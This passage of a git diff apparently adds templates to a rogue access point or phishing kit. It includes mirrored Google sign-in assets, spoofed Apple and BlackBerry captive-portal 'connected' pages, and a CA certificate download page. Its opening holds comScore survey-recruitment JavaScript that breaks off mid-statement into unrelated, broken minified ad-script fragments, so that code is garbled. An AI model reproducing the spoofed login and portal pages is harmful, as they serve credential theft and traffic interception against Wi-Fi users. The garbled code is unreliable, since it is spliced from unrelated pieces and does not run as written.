= date.getTime(); + + if (inputpid) + { + var doespidexist = false; + for (i=0; i < userObj.surveys.length; i++) { + if (userObj.surveys[i] && userObj.surveys[i].toLowerCase() == inputpid.toLowerCase()) { + doespidexist = true; + } + } + if (doespidexist == false){ + if (userObj.surveys.length) { + // if there are more than maxNumberOfPids elements on the array, only the last maxNumberOfPids-1 will be kept + // and the new element will be added to the end, thus maintaining maxNumberOfPids elements in the array + if (userObj.surveys.length < this.maxNumberOfPids) { + userObj.surveys.push(inputpid); + } else { + userObj.surveys.splice(0,1); + userObj.surveys.push(inputpid); + } + } else { + userObj.surveys.push(inputpid); + } + } + //remove nulls + for (i=0; i < userObj.surveys.length; i++) { + if (userObj.surveys[i] == null) { + userObj.surveys.splice(i,1); + } + } + } + if (inputstate) + { + userObj.state.name = inputstate; + userObj.state.url = inputurl; + userObj.state.timestamp = inputtimestamp; + userObj.graceperiod = inputgraceperiod; + userObj.trackertimestamp = inputtrackertimestamp; + } + + var cookieString = COMSCORE.SiteRecruit.Utils.JSONSerialize(userObj); + //this.removeCookie(inputcookiename, { path: params.cookieoptions.path, domain: params.cookieoptions.domain }); + this.createCookie(inputcookiename,cookieString,params.cookieoptions); + + return userObj; + }, + + getUserObj: function(params) { + + var inputcookiename = this.getCookieName(); + if (params.cookiename){ + inputcookiename = params.cookiename; + } + + var uservalue=this.getCookieValue(inputcookiename); + + if (uservalue && uservalue!=""){ + var userObj = COMSCORE.SiteRecruit.Utils.JSONDeserialize(uservalue); + //SR4.5 cookies do not store user objects, use this to overwrite + //For future dev, we probably want to increment this version number if we want + //to prevent scripts of different version from accessing certain cookies + if (userObj && userObj.version && !isNaN(userObj.version) && userObj.version >= 4.6) + { + return userObj; + } + else + { + + } + } + + return null; + } + +}; + + COMSCORE.SiteRecruit.DDKeepAlive = ( function() { + // private methods and properties + var _interval = 1000, _pageId = Math.random(), _timeoutId; + + // shorthand + var _sr = COMSCORE.SiteRecruit; + var _utils = _sr.Utils; + + return { + start: function() { + var that = this; + + _timeoutId = setInterval(function() { + if (_sr.Broker.isDDInProgress() && that.isTrackerPageOpen()) { + that.setDDTrackerCookie(); + } + else if (!that.isTrackerPageOpen()){ + that.handleClosedTrackerPage(); + } + else { + + that.stop(); + } + }, _interval); + }, + + stop: function() { + clearInterval(_timeoutId); + + }, + + isTrackerPageOpen: function() { + + //see if the tracker page has been closed while DD has been in progress + var params = {}; + params.cookiename = COMSCORE.SiteRecruit.Broker.config.cookie.name; + var userObj = _utils.UserPersistence.getUserObj(params); + var now = (new Date()).getTime(); + var ret = true; + var withinGracePeriod = false; + var gracePeriod; + + if (userObj && userObj.state && userObj.state.name == _sr.CONSTANTS.STATE_NAME.DDINPROGRESS && userObj.state.timestamp && userObj.trackertimestamp) { + //(MPA) As a fix to the DDInProgress issue, now gracePeriod is compared to the trackerTimestamp instead of state.timestamp + //var timeDiff = now - userObj.state.timestamp; + + var timeDiff = now - userObj.trackertimestamp; + var timeDiffSeconds = timeDiff/1000; + if (COMSCORE.SiteRecruit.Builder && COMSCORE.SiteRecruit.Builder.invitation && COMSCORE.SiteRecruit.Builder.invitation.config) + { + gracePeriod = COMSCORE.SiteRecruit.Builder.invitation.config.trackerGracePeriod; + } + else if (userObj.gracePeriod) { + gracePeriod = userObj.gracePeriod; + } + + if (gracePeriod) { + + gracePeriod = parseInt(gracePeriod); + + //check if it has been more than 2 times the grace period + //if the update time is more than the grace period, the tracker was probably closed which + //is why its still in a DDINPROGRESS but past the grace period + var timeWindow = 2 * gracePeriod * 1000; + withinGracePeriod = (timeDiff < timeWindow); + if (!withinGracePeriod) { + + ret = false; + } + } + } + return ret; + + }, + + handleClosedTrackerPage: function() { + + var params = {}; + var c = _sr.Broker.config.cookie; + params.cookiename = c.name; + params.statename = _sr.CONSTANTS.STATE_NAME.IDLE; + params.cookieoptions = { path: c.path, domain: c.domain }; + params.url = escape(_utils.location); + params.timestamp = (new Date()).getTime(); + _utils.UserPersistence.setUserObj(params); + this.stop(); + }, + + setDDTrackerCookie: function() { + + var c = _sr.Broker.config.cookie; + var params = {}; + params.cookiename = c.name; + var userObj = _utils.UserPersistence.getUserObj(params); + + var params = {}; + params.cookiename = c.name; + params.cookieoptions = { path: c.path, domain: c.domain }; + params.url = escape(_utils.location); + params.statename = _sr.CONSTANTS.STATE_NAME.DDINPROGRESS; + params.timestamp = (new Date()).getTime(); + + if (COMSCORE.SiteRecruit.Builder && COMSCORE.SiteRecruit.Builder.invitation && COMSCORE.SiteRecruit.Builder.invitation.config){ + //adding pid here so it gets passed to confirmit + params.pid = COMSCORE.SiteRecruit.Builder.invitation.config.projectId + params.graceperiod = COMSCORE.SiteRecruit.Builder.invitation.config.trackerGracePeriod; + } + else if (userObj && userObj.gracePeriod) + { + //set gracePeriod from previous cookie value + params.graceperiod = userObj.graceperiod; + } + + _utils.UserPersistence.setUserObj(params); + } + }; + } )(); + + COMSCORE.SiteRecruit.PagemapFinder = ( function() { + // private methods and properties + var _totalFreq; + // shorthand + var _sr = COMSCORE.SiteRecruit; + var _utils = _sr.Utils; + + return { + + getTotalFreq: function() { + return _totalFreq; + }, + + find: function(mappings) { + var currentPriority = 0, currentMatch; + var m = mappings; + //cjones 11/1/07 + var matchList = []; + var halt = false; + _totalFreq = 0; + // Iterate over each URL. + for (var i = 0; m && i < m.length; i++) { + var matchPrereqs = false; + + var pm = m[i]; + if (pm) { + // Do the reg exp match. + var r = new RegExp(pm.m, 'i'); + if (_utils.location.search(r) != -1) { // does current url match regex? + + // Now check the prereqs. + var pr = m[i].prereqs; + + matchPrereqs = true; + if (pr) { + + + if (!this.isMatchContent(pr.content)) { + + matchPrereqs = false; + } + + if (!this.isMatchCookie(pr.cookie)) { + + matchPrereqs = false; + } + + if (!this.isMatchLanguage(pr.language)) { + + matchPrereqs = false; + } + + + // Third-party cookie reading pushed to the end of the sprint. Disabled till then + //if (!this.isMatchExternalCookie(pr.externalDomain)) { + + // matchPrereqs = false; + //} + + } + } + //cjones push match onto array + if (matchPrereqs) { + if (pm.halt) { + + halt = true; + break; + } + else + { + matchList.push(pm); + + //setting totalFreq to last matched as a precaution, freq should be adjusted when match is selected + _totalFreq = pm.f; + } + } + } + } + if (halt == true) { + matchList = null; + _totalFreq = 0; + return null; + } + + + return this.choosePriority(matchList); + }, + + choosePriority: function(matchList) { + var prevMatch = null; + for (var i = 0; i < matchList.length; i++) { + if (prevMatch == null) { + prevMatch = matchList[i]; + _totalFreq = matchList[i].f; + } + else { + if (prevMatch.p < matchList[i].p) { + prevMatch = matchList[i]; + //set the private class variable so getTotalFreq returns the right value + _totalFreq = matchList[i].f; + } + + } + } + return prevMatch; + }, + + isMatchContent: function(content) { + var isMatch = true, i = 0; + + while (isMatch && i < content.length) { + + var matchContent = false; + var matchAttribute = false; + + var c = content[i]; + + if (c.element) { + var elements = document.getElementsByTagName(c.element); + var flag = true; + + for (var k = 0; k < elements.length; k++) { + //var val = c.elementValue; + var val = new RegExp(c.elementValue); + + if (val) { + //if (elements[k].innerHTML.search(val) != -1) { + if (val.test(elements[k].innerHTML)) { + if (flag) { + + flag = false; + } + matchContent = true; + } + } + else { + matchContent = true; + } + + if (c.attrib && c.attrib.length) { + var a = elements[k].attributes.getNamedItem(c.attrib); + var val2 = new RegExp(c.attribValue); + if (a) { + if (c.attribValue && c.attribValue.length) { + if (val2.test(a.value)) { + //if (a.value.search(c.attribValue) != -1) { + matchAttribute = true; + } + } + else { + matchAttribute = true; + } + } + } + else { + matchAttribute = true; + } + } + } + + if (!matchContent || !matchAttribute) { + isMatch = false; + } + i++; + } + + return isMatch; + }, + + isMatchCookie: function(cookies) { + var isMatch = true, i = 0; + + while (isMatch && i < cookies.length) { + + // This matches on cookies specified in the console-> Page Mappings -> Edit prereqs + + var c = cookies[i], val = _utils.UserPersistence.getCookieValue(c.name); + + if (val && val !== null) { + + //Treat c.value as RegExp + var regExp = new RegExp(c.value); + + + + isMatch = regExp.test(val); + i++; + } + else { + return false; + } + } + + return isMatch; + }, + + isMatchLanguage: function(lang) { + var n = navigator.language || navigator.userLanguage; + n = n.toLowerCase(); + if (!lang) { + return true; + } + var regExp = new RegExp(lang); + //if (n.indexOf(lang) != -1) { + if (regExp.test(n)) { + + return true; + } + + + return false; + }, + + verifyExternalCookie: function(cookie) { + COMSCORE.SiteRecruit.Broker.extCookie = cookie; + }, + + readExternalCookie: function(externalDomainPrereq) { + // Make a call to the rc.pli file + var domain = externalDomainPrereq[0].domain; + var cookieName = externalDomainPrereq[0].name; + var func = "COMSCORE.SiteRecruit.PagemapFinder.verifyExternalCookie" + var rUrl = domain + "?n=" + cookieName + "&func=" + func + "&"; + _utils.loadScript(rUrl, false); + }, + + isMatchExternalCookie: function(externalDomainPrereq) { + //COMSCORE.SiteRecruit.PagemapFinder.readExternalCookie(externalDomainPrereq); + + var domain = externalDomainPrereq[0].domain; + var cookieName = externalDomainPrereq[0].name; + var func = "COMSCORE.SiteRecruit.PagemapFinder.verifyExternalCookie" + + var rUrl = domain + "?n=" + cookieName + "&func=" + func + "&"; + var extScript; + //_utils.loadScript(rUrl, false); + + var scripts = document.getElementsByTagName( 'script' ); + for (var i = 0; i < scripts.length; i++) { + if (scripts[i].src.search(domain) != -1) { + extScript = scripts[i]; + } + } + + if (COMSCORE.SiteRecruit.Broker.extCookie && COMSCORE.SiteRecruit.Broker.extCookie != "") { + + return true; + } + else { + + return false; + } + } + }; + } )(); + + COMSCORE.SiteRecruit.Broker = ( function() { + // private method and properties + + // for short hand + var _sr = COMSCORE.SiteRecruit; + var _utils = _sr.Utils; + var _extCookie = "!"; + + // public methods and properties + return { + /** + Events: { + + * @param {Object} utils - a reference to COMSCORE.SiteRecruit.Utils class for quick access + * @param {Object} options - contains the bool: IsLucky + + beforeRecruit: function() {} + }, + */ + + init: function(cookies) { + //CUSTOM CODE + if(cookies){ this.arCookie = cookies; } + + _sr.browser = _utils.getBrowser(); + _sr.executingPath = _utils.getExecutingPath("broker.js"); + + if (_sr.browser.ie || _sr.browser.mozilla) { + _utils.loadScript(_sr.executingPath + _sr.configUrl, true); + } + else { + + return; + } + }, + + start: function() { + //If Mobile browser NOT detected then run init() function + if(_mobile && !_recruit4mobile){ + //Disable recruitment for mobile + //}else if(/windows nt 6\.(2|3)/i.test(navigator.userAgent) && /11\.0/i.test(navigator.userAgent)){ + }else if (/[\w\.]+\/en-us\/dynamics/i.test(SR_url)) { + // CUSTOM CODE - Check for AR Already Asked cookie + var projectId = "p100339422"; + var cookieName = "ar_s_" + projectId; + var callback = "COMSCORE.SiteRecruit.Broker.init"; + var readCookieURL = document.location.protocol + "//ar.voicefive.com/b/rc.pli?n=" + cookieName + "&func=" + callback + "&" + (new Date()).getTime(); + _utils.loadScript(readCookieURL, false); + // END CUSTOM + }else { + //mobile browser is NOT detected...loading scripts.. + this.init(); + } + }, + + run: function() { + + + //initialize IE user data persistence if and only if + //this option has been enabled and the browser is ie + + this.config.Events.beforeRecruit(); + + if (this.config.objStoreElemName) { + if (_sr.browser.ie) { + COMSCORE.SiteRecruit.Utils.UserPersistence.initialize(); + } + else { + + return; + } + } + //CUSTOM CODE + if (this.arCookie && this.arCookie != "") { + return; + } + // verify versions match + if (_sr.version !== this.config.version) { + + return; + } + + //verify test mode + var testModeConfig = this.config.testMode; + var testModeURL; + var testMode; + + testModeURL = (_utils.UserPersistence.getCookieValue("tstMode") == 1)?true:false; + + testMode = (testModeConfig || testModeURL); + + if (this.isDDInProgress()) { + this.processDDInProgress(); + } + + if (!testMode || this.isDDInProgress()) { + // if any site recruit exists, stop executing + //if (_utils.UserPersistence.get(this.config.cookie.name) !== false) { + // + // return; + //} + + // this is being changed to match the new logic + // OLD: if there is a cookie then stop + // NEW: if there is a cookie, check the timestamp ( make sure it is more than 90 days), also make sure to exit if dd + + var params = {}; + params.cookiename = this.config.cookie.name; + var userObj = _utils.UserPersistence.getUserObj(params); + var date = new Date(); + var durationdays = this.config.cookie.duration; + var durationtimestamp = date.getTime() - ( durationdays * 24 * 60 * 60 * 1000); + + if (userObj) { + if (userObj.lastinvited > durationtimestamp) { + + + return; + //} + } + } + + } + // HALT IS FROM 5.1.3 + if (this.findPageMapping() && !(COMSCORE.SiteRecruit._halt && COMSCORE.SiteRecruit._halt == true) ) + { + if (testMode) { + + if (this.pagemap) { + this.loadBuilder(); + } + return; + } + + // roll the dice + var r = _utils.getRandom(); + + if (r <= _sr.PagemapFinder.getTotalFreq()) { + + //cjones + if (this.pagemap) { + this.loadBuilder(); + } + } + else { + + return; + } + } + else { + + return; + } + }, + + isDDInProgress: function() { + //var c = _utils.UserPersistence.get(COMSCORE.SiteRecruit.Broker.config.cookie.name); + //return (c && c.indexOf(_sr.CONSTANTS.COOKIE_TYPE.DD_IN_PROGRESS) === 0); + + var ddinprogress = false; + var params = {}; + params.cookiename = COMSCORE.SiteRecruit.Broker.config.cookie.name; + var userObj = _utils.UserPersistence.getUserObj(params); + + if (userObj) { + if (userObj.state.name == _sr.CONSTANTS.STATE_NAME.DDINPROGRESS) { + ddinprogress = true + + } + } + + return ddinprogress; + }, + + processDDInProgress: function() { + //Ensure this function is only called when state name is DDINPROGRESS + // launch dd keep alive + + _sr.DDKeepAlive.start(); + }, + + findPageMapping: function() { + this.pagemap = _sr.PagemapFinder.find(this.config.mapping); + return this.pagemap; + }, + + loadBuilder: function() { + // prefix pageconfig url if it's supplied + var url = _sr.executingPath + _sr.builderUrl; + if(_sr_builder == "builder_Qbi.js"){ + var _s = "http://js.microsoft.com/library/svy/qinvite-config.js"; + _utils.loadScript(_s); + } + /* + var p = this.config.prefixUrl; + + if (p) { + url = p + url; + } + */ + _utils.loadScript(url); + } + }; + } )(); + + COMSCORE.isDDInProgress = COMSCORE.SiteRecruit.Broker.isDDInProgress; + + COMSCORE.SiteRecruit.OnReady = ( function() { + // for short hand + var _sr = COMSCORE.SiteRecruit; + var _utils = _sr.Utils; + + // public methods and properties + return { + onload : function() { + + if (_sr.OnReady.done) { return; } + + _sr.OnReady.done = true; + _sr.Broker.start(); //initialize the broker once the DOM is ready + //clean up + //safari + if(_sr.OnReady.timer){ + + clearInterval(_sr.OnReady.timer); + } + //mozilla opera + if(document.addEventListener) { + + document.removeEventListener("DOMContentLoaded", _sr.OnReady.onload, false); + } + //ie + if(window.ActiveXObject){ + + /* + var defer = document.getElementById("sr__ie_onload"); + if(defer){ + defer.onreadystatechange = null; + defer.parentNode.removeChild(defer); + } + */ + } + }, + listen : function() { + var ddckVal = COMSCORE.SiteRecruit.Utils.UserPersistence.getCookieValue('msresearch'); + if (/DDINPROGRESS/i.test(ddckVal) ) { + COMSCORE.SiteRecruit.Broker.config={ + cookie:{name:"msresearch",path:"/",domain:".microsoft.com",duration:90,rapidDuration:0,expireDate:""} + }; + COMSCORE.SiteRecruit.Broker.processDDInProgress(); + } + + // 5.1.3 START + var dom = document.domain.split('.'); + var ref = ''; + + dom = dom[dom.length - 2] + "\." + dom[dom.length - 1]; + var domRE = new RegExp(dom,"i"); + + if (document.referrer != "") { + ref = document.referrer; + } + + if (ref != "" && ref != undefined && !(domRE.test(ref)) ) { + _sr.Broker.delayConfig = true; + } + else { + _sr.Broker.delayConfig = false; + } + // 5.1.3 END + + //Chrome + if (/Chrome/i.test(navigator.userAgent)) { + if(/loading|uninitialized/i.test(document.readyState)) + { + document.addEventListener('DOMContentLoaded', _sr.OnReady.onload, false); }else{ _sr.OnReady.onload(); + } + } + //safari + else if (/WebKit|khtml/i.test(navigator.userAgent)) { + _sr.OnReady.timer = setInterval(function() { + if (/loaded|complete/.test(document.readyState)) { + clearInterval(_sr.OnReady.timer); + delete _sr.OnReady.timer; + _sr.OnReady.onload(); + }}, 10); + } + //ie + else if (window.ActiveXObject) { + //_sr.OnReady.iew32 = true; + //document.write('");docObject.close();this.has_Flash=top.isFlash;this.FlashVer=top.isFlashVersion;document.all.flashDetect.removeNode(true)}};this.hasCookie=function(d){for(var c=false,e=document.cookie,b=e.split(";"),a=0;a-1){adCont[a].qs=f;adCont[a].divid=b;adCont[a].w=e;adCont[a].h=d}else{if(adCont.length-1)adCont[c].acb=b;else if(adCont.length=_daprr.length)_daprs=0;var f=document.getElementById(adCont[a].divid);if(!f)return;if(!adCont[a].qs||adCont[a].qs.length==0)return;if(adCont[a].isActive)return;if(adCont[a].acbObj!=null&&adCont[a].acbObj.fbFmShwn)return;for(var j=f.childNodes.length-1;j>=0;j--){var b=f.childNodes[j];if(b!=undefined&&b!=null)if(_dapUtils.is_ff1_5up&&b.id==adCont[a].ifrmid){if(b.contentDocument.body)while(b.contentDocument.body.firstChild)b.contentDocument.body.removeChild(b.contentDocument.body.firstChild);b.id=null;b.name=null;b.style.display="none";b=null}else{b.nodeName=="IFRAME"&&!_dapUtils.is_ie5_5&&b.contentWindow.document.location.replace("about:blank");f.removeChild(b);if(_dapUtils.is_ie5up)b.removeNode(true);else b=null}}var m=_dapUtils.getCurrentStyle(f);if(m){var l=m.display;if(l=="none"||l=="hidden")return}if((_dapUtils.is_ie5_5up||_dapUtils.is_ff1_5up)&&_dapUtils.is_win){var e=adCont[a].ifrmid,c=document.createElement("IFRAME");c.id=e;c.name=e;c.src="about:blank";c.width=adCont[a].w;c.height=adCont[a].h;c.scrolling="no";c.frameBorder="0";c.allowTransparency=true;f.insertBefore(c,f.firstChild);if(d.length>0)if(adCont[a].acbObj.enabled)d+="&DPJS="+(DPJS_ADV+DPJS_ACB);else d+="&DPJS="+DPJS_ADV;d+=dapQSTrack;var i=this.getDapOutput(d+adCont[a].qs,e,a);try{var g=c.contentDocument}catch(n){}if(_dapUtils.is_ie5_5up)if(g&&g.write)g.write(i);else c.src="javascript:void(document.write('"+i+"'));";else{g.write(i);g.onload=verifyDapResize(a);if(_dapUtils.is_ff_closeIfrm)window.setTimeout("checkIFrameClosed("+a+",1)",this.TIME_EACH_ITR);else g.close()}adCont[a].acbObj.enabled&&initACB(adCont[a].divid,a)}else{if(d.length>0)d+="&DPJS="+DPJS_ADV;d+=dapQSTrack;var k=true;if(parent.frames){var e=adCont[a].ifrmid;f.innerHTML+='';var h;if(document.frames){if(document.frames[e])h=document.frames[e].document}else if(document.getElementById(e))h=document.getElementById(e).contentDocument;if(h){k=false;h.open("text/html","replace");h.write(this.getDapOutput(d+adCont[a].qs,e,a));if(_dapUtils.is_ff_closeIfrm)window.setTimeout("checkIFrameClosed("+a+",1)",this.TIME_EACH_ITR);else!_dapUtils.is_ie&&!_dapUtils.is_opera&&h.close()}}if(k){document.write(' + + + + + + + + diff --git a/templates/www/accounts.google/fonts.googleapis.com_443/css?family=Open+Sans:300,400,600,700&lang=en b/templates/www/accounts.google/fonts.googleapis.com_443/css?family=Open+Sans:300,400,600,700&lang=en new file mode 100644 index 0000000..1f165b9 --- /dev/null +++ b/templates/www/accounts.google/fonts.googleapis.com_443/css?family=Open+Sans:300,400,600,700&lang=en @@ -0,0 +1,24 @@ +@font-face { + font-family: 'Open Sans'; + font-style: normal; + font-weight: 300; + src: local('Open Sans Light'), local('OpenSans-Light'), url('../themes.googleusercontent.com_443/static/fonts/opensans/v6/DXI1ORHCpsQm3Vp6mXoaTYnF5uFdDttMLvmWuJdhhgs.ttf') format('truetype'); +} +@font-face { + font-family: 'Open Sans'; + font-style: normal; + font-weight: 400; + src: local('Open Sans'), local('OpenSans'), url('../themes.googleusercontent.com_443/static/fonts/opensans/v6/cJZKeOuBrn4kERxqtaUH3aCWcynf_cDxXwCLxiixG1c.ttf') format('truetype'); +} +@font-face { + font-family: 'Open Sans'; + font-style: normal; + font-weight: 600; + src: local('Open Sans Semibold'), local('OpenSans-Semibold'), url('../themes.googleusercontent.com_443/static/fonts/opensans/v6/MTP_ySUJH_bn48VBG8sNSonF5uFdDttMLvmWuJdhhgs.ttf') format('truetype'); +} +@font-face { + font-family: 'Open Sans'; + font-style: normal; + font-weight: 700; + src: local('Open Sans Bold'), local('OpenSans-Bold'), url('../themes.googleusercontent.com_443/static/fonts/opensans/v6/k3k702ZOKiLJc3WVjuplzInF5uFdDttMLvmWuJdhhgs.ttf') format('truetype'); +} diff --git "a/templates/www/accounts.google/fonts.googleapis.com_443/css\357\200\245family=Open+Sans\357\200\242300,400,600,700&lang=en" "b/templates/www/accounts.google/fonts.googleapis.com_443/css\357\200\245family=Open+Sans\357\200\242300,400,600,700&lang=en" new file mode 100644 index 0000000..1f165b9 --- /dev/null +++ "b/templates/www/accounts.google/fonts.googleapis.com_443/css\357\200\245family=Open+Sans\357\200\242300,400,600,700&lang=en" @@ -0,0 +1,24 @@ +@font-face { + font-family: 'Open Sans'; + font-style: normal; + font-weight: 300; + src: local('Open Sans Light'), local('OpenSans-Light'), url('../themes.googleusercontent.com_443/static/fonts/opensans/v6/DXI1ORHCpsQm3Vp6mXoaTYnF5uFdDttMLvmWuJdhhgs.ttf') format('truetype'); +} +@font-face { + font-family: 'Open Sans'; + font-style: normal; + font-weight: 400; + src: local('Open Sans'), local('OpenSans'), url('../themes.googleusercontent.com_443/static/fonts/opensans/v6/cJZKeOuBrn4kERxqtaUH3aCWcynf_cDxXwCLxiixG1c.ttf') format('truetype'); +} +@font-face { + font-family: 'Open Sans'; + font-style: normal; + font-weight: 600; + src: local('Open Sans Semibold'), local('OpenSans-Semibold'), url('../themes.googleusercontent.com_443/static/fonts/opensans/v6/MTP_ySUJH_bn48VBG8sNSonF5uFdDttMLvmWuJdhhgs.ttf') format('truetype'); +} +@font-face { + font-family: 'Open Sans'; + font-style: normal; + font-weight: 700; + src: local('Open Sans Bold'), local('OpenSans-Bold'), url('../themes.googleusercontent.com_443/static/fonts/opensans/v6/k3k702ZOKiLJc3WVjuplzInF5uFdDttMLvmWuJdhhgs.ttf') format('truetype'); +} diff --git a/templates/www/accounts.google/fonts.googleapis.com_443/robots.txt b/templates/www/accounts.google/fonts.googleapis.com_443/robots.txt new file mode 100644 index 0000000..6128014 --- /dev/null +++ b/templates/www/accounts.google/fonts.googleapis.com_443/robots.txt @@ -0,0 +1,4 @@ +User-agent: * +Disallow: / +User-agent: Google-FontAnalysis +Disallow: diff --git a/templates/www/accounts.google/ssl.gstatic.com_443/accounts/exp/alt_hp_icons.png b/templates/www/accounts.google/ssl.gstatic.com_443/accounts/exp/alt_hp_icons.png new file mode 100644 index 0000000..5f27e39 Binary files /dev/null and b/templates/www/accounts.google/ssl.gstatic.com_443/accounts/exp/alt_hp_icons.png differ diff --git a/templates/www/accounts.google/ssl.gstatic.com_443/accounts/ui/google-signin-flat.png b/templates/www/accounts.google/ssl.gstatic.com_443/accounts/ui/google-signin-flat.png new file mode 100644 index 0000000..d0ec795 Binary files /dev/null and b/templates/www/accounts.google/ssl.gstatic.com_443/accounts/ui/google-signin-flat.png differ diff --git a/templates/www/accounts.google/ssl.gstatic.com_443/accounts/ui/google-signin-flat_2x.png b/templates/www/accounts.google/ssl.gstatic.com_443/accounts/ui/google-signin-flat_2x.png new file mode 100644 index 0000000..eb8d3f4 Binary files /dev/null and b/templates/www/accounts.google/ssl.gstatic.com_443/accounts/ui/google-signin-flat_2x.png differ diff --git a/templates/www/accounts.google/ssl.gstatic.com_443/i18n/phonenumbers/phoneinputwidget/flags4.png b/templates/www/accounts.google/ssl.gstatic.com_443/i18n/phonenumbers/phoneinputwidget/flags4.png new file mode 100644 index 0000000..845b7cf Binary files /dev/null and b/templates/www/accounts.google/ssl.gstatic.com_443/i18n/phonenumbers/phoneinputwidget/flags4.png differ diff --git a/templates/www/accounts.google/ssl.gstatic.com_443/images/icons/ui/common/universal_language_settings-21.png b/templates/www/accounts.google/ssl.gstatic.com_443/images/icons/ui/common/universal_language_settings-21.png new file mode 100644 index 0000000..52552cb Binary files /dev/null and b/templates/www/accounts.google/ssl.gstatic.com_443/images/icons/ui/common/universal_language_settings-21.png differ diff --git a/templates/www/accounts.google/ssl.gstatic.com_443/images/logo_ret.png b/templates/www/accounts.google/ssl.gstatic.com_443/images/logo_ret.png new file mode 100644 index 0000000..aff8a5a Binary files /dev/null and b/templates/www/accounts.google/ssl.gstatic.com_443/images/logo_ret.png differ diff --git a/templates/www/accounts.google/ssl.gstatic.com_443/images/logos/google_logo_41.png b/templates/www/accounts.google/ssl.gstatic.com_443/images/logos/google_logo_41.png new file mode 100644 index 0000000..83d0e40 Binary files /dev/null and b/templates/www/accounts.google/ssl.gstatic.com_443/images/logos/google_logo_41.png differ diff --git a/templates/www/accounts.google/ssl.gstatic.com_443/robots.txt b/templates/www/accounts.google/ssl.gstatic.com_443/robots.txt new file mode 100644 index 0000000..5c24ee5 --- /dev/null +++ b/templates/www/accounts.google/ssl.gstatic.com_443/robots.txt @@ -0,0 +1,18 @@ +User-agent: * +Allow: /ads/learn/ +Allow: /ads/research/ +Allow: /android/market/ +Allow: /chrome/crlset/ +Allow: /commercesearch/images/ +Allow: /culturalinstitute/sitemaps/ +Allow: /dictionary/static/sitemaps/ +Allow: /earth/gallery/sitemaps/ +Allow: /enterprise-partner-search/sitemaps/ +Allow: /frommers/ +Allow: /GoogleInternetAuthority/ +Allow: /moderator/static/ux/ +Allow: /s2/sitemaps/ +Allow: /trends/websites/sitemaps/ +Allow: /trustedstores/images/ +Allow: /trustedstores/js/ +Disallow: / diff --git a/templates/www/accounts.google/ssl.gstatic.com_443/ui/v1/disclosure/grey-disclosure-arrow-up-down.png b/templates/www/accounts.google/ssl.gstatic.com_443/ui/v1/disclosure/grey-disclosure-arrow-up-down.png new file mode 100644 index 0000000..3fcd274 Binary files /dev/null and b/templates/www/accounts.google/ssl.gstatic.com_443/ui/v1/disclosure/grey-disclosure-arrow-up-down.png differ diff --git a/templates/www/accounts.google/ssl.gstatic.com_443/ui/v1/menu/checkmark.png b/templates/www/accounts.google/ssl.gstatic.com_443/ui/v1/menu/checkmark.png new file mode 100644 index 0000000..7af1470 Binary files /dev/null and b/templates/www/accounts.google/ssl.gstatic.com_443/ui/v1/menu/checkmark.png differ diff --git a/templates/www/accounts.google/themes.googleusercontent.com_443/static/fonts/opensans/v6/DXI1ORHCpsQm3Vp6mXoaTYnF5uFdDttMLvmWuJdhhgs.ttf b/templates/www/accounts.google/themes.googleusercontent.com_443/static/fonts/opensans/v6/DXI1ORHCpsQm3Vp6mXoaTYnF5uFdDttMLvmWuJdhhgs.ttf new file mode 100644 index 0000000..b7f2257 Binary files /dev/null and b/templates/www/accounts.google/themes.googleusercontent.com_443/static/fonts/opensans/v6/DXI1ORHCpsQm3Vp6mXoaTYnF5uFdDttMLvmWuJdhhgs.ttf differ diff --git a/templates/www/accounts.google/themes.googleusercontent.com_443/static/fonts/opensans/v6/MTP_ySUJH_bn48VBG8sNSonF5uFdDttMLvmWuJdhhgs.ttf b/templates/www/accounts.google/themes.googleusercontent.com_443/static/fonts/opensans/v6/MTP_ySUJH_bn48VBG8sNSonF5uFdDttMLvmWuJdhhgs.ttf new file mode 100644 index 0000000..c184512 Binary files /dev/null and b/templates/www/accounts.google/themes.googleusercontent.com_443/static/fonts/opensans/v6/MTP_ySUJH_bn48VBG8sNSonF5uFdDttMLvmWuJdhhgs.ttf differ diff --git a/templates/www/accounts.google/themes.googleusercontent.com_443/static/fonts/opensans/v6/cJZKeOuBrn4kERxqtaUH3aCWcynf_cDxXwCLxiixG1c.ttf b/templates/www/accounts.google/themes.googleusercontent.com_443/static/fonts/opensans/v6/cJZKeOuBrn4kERxqtaUH3aCWcynf_cDxXwCLxiixG1c.ttf new file mode 100644 index 0000000..1d6f3fa Binary files /dev/null and b/templates/www/accounts.google/themes.googleusercontent.com_443/static/fonts/opensans/v6/cJZKeOuBrn4kERxqtaUH3aCWcynf_cDxXwCLxiixG1c.ttf differ diff --git a/templates/www/accounts.google/themes.googleusercontent.com_443/static/fonts/opensans/v6/k3k702ZOKiLJc3WVjuplzInF5uFdDttMLvmWuJdhhgs.ttf b/templates/www/accounts.google/themes.googleusercontent.com_443/static/fonts/opensans/v6/k3k702ZOKiLJc3WVjuplzInF5uFdDttMLvmWuJdhhgs.ttf new file mode 100644 index 0000000..3c799a4 Binary files /dev/null and b/templates/www/accounts.google/themes.googleusercontent.com_443/static/fonts/opensans/v6/k3k702ZOKiLJc3WVjuplzInF5uFdDttMLvmWuJdhhgs.ttf differ diff --git a/templates/www/apple/ca.cer b/templates/www/apple/ca.cer new file mode 100644 index 0000000..3d48880 Binary files /dev/null and b/templates/www/apple/ca.cer differ diff --git a/templates/www/apple/ca.html b/templates/www/apple/ca.html new file mode 100644 index 0000000..8deabf5 --- /dev/null +++ b/templates/www/apple/ca.html @@ -0,0 +1,6 @@ + + + + + + diff --git a/templates/www/apple/library/test/success.html b/templates/www/apple/library/test/success.html new file mode 100644 index 0000000..b675807 --- /dev/null +++ b/templates/www/apple/library/test/success.html @@ -0,0 +1,6 @@ + +Success + +You are now connected. + + diff --git a/templates/www/blackberry/select/wifiloginsuccess/EN/index.html b/templates/www/blackberry/select/wifiloginsuccess/EN/index.html new file mode 100644 index 0000000..2016f68 --- /dev/null +++ b/templates/www/blackberry/select/wifiloginsuccess/EN/index.html @@ -0,0 +1 @@ +BlackBerry | Now Connected

    BlackBerry®

    Your BlackBerry device is now connected to the Internet.

